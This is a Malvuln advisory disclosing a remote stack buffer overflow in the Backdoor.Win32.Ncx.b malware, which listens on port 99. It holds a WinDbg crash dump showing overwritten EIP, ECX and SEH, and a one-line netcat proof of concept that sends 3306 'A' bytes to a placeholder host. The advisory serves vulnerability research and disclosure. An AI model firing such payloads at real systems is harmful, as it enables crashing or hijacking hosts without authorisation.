Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/885e74a43b4f7caec3cfb4dba0787de4.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Ncx.b Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can send a large junk payload and trigger a classic stack buffer overflow overwriting the EIP, ECX registers and structured exception handler (SEH). Type: PE32 MD5: 885e74a43b4f7caec3cfb4dba0787de4 Vuln ID: MVID-2021-0388 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 11/04/2021 Memory Dump: (ec.950): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000 eip=41414141 esp=03101660 ebp=03101680 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:003> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Ncx.b.885e74a43b4f7caec3cfb4dba0787de4.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Ncx.b.885e74a43b4f7caec3cfb4dba0787de4.exe FAULTING_IP: Backdoor_Win32_Ncx_b_885e74a43b4f7caec3cfb4dba0787de4+1555 00401555 88443418 mov byte ptr [esp+esi+18h],al EXCEPTION_RECORD: 031ff9f4 -- (.exr 0x31ff9f4) ExceptionAddress: 00401555 (Backdoor_Win32_Ncx_b_885e74a43b4f7caec3cfb4dba0787de4+0x00001555) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 03200000 Attempt to write to address 03200000 PROCESS_NAME: Backdoor.Win32.Ncx.b.885e74a43b4f7caec3cfb4dba0787de4.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Ncx_b_885e74a43b4f7caec3cfb4dba0787de4+1555 00401555 88443418 mov byte ptr [esp+esi+18h],al FAILED_INSTRUCTION_ADDRESS: +1555 41414141 ?? ??? MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 029c0b40 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 031ffa44 -- (.cxr 0x31ffa44) eax=00000041 ebx=7745e250 ecx=4756178e edx=031ffdc4 esi=00000144 edi=029c0b40 eip=00401555 esp=031ffea4 ebp=740a1e90 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 Backdoor_Win32_Ncx_b_885e74a43b4f7caec3cfb4dba0787de4+0x1555: 00401555 88443418 mov byte ptr [esp+esi+18h],al ss:002b:03200000=?? Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 029c0b40 to 00401555 FRAME_ONE_INVALID: 1 STACK_TEXT: 031ffea4 00401555 backdoor_win32_ncx_b+0x1555 031ffea8 029c0b40 unknown!unknown+0x0 STACK_COMMAND: .cxr 00000000031FFA44 ; kb ; dds 31ffea4 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: backdoor_win32_ncx_b+1555 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Ncx_b_885e74a43b4f7caec3cfb4dba0787de4 IMAGE_NAME: Backdoor.Win32.Ncx.b.885e74a43b4f7caec3cfb4dba0787de4.exe DEBUG_FLR_IMAGE_TIMESTAMP: 34ae8eb9 BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_ncx_b+1555 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Ncx.b.885e74a43b4f7caec3cfb4dba0787de4.exe!Unknown Followup: MachineOwner --------- 0:003> !exchain 031ff904: ntdll!ExecuteHandler2+44 (77729d70) 031fffcc: 41414141 Invalid exception stack at 41414141 Exploit/PoC: python -c "print('A'*3306)" | nc64.exe x.x.x.x 99 Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. 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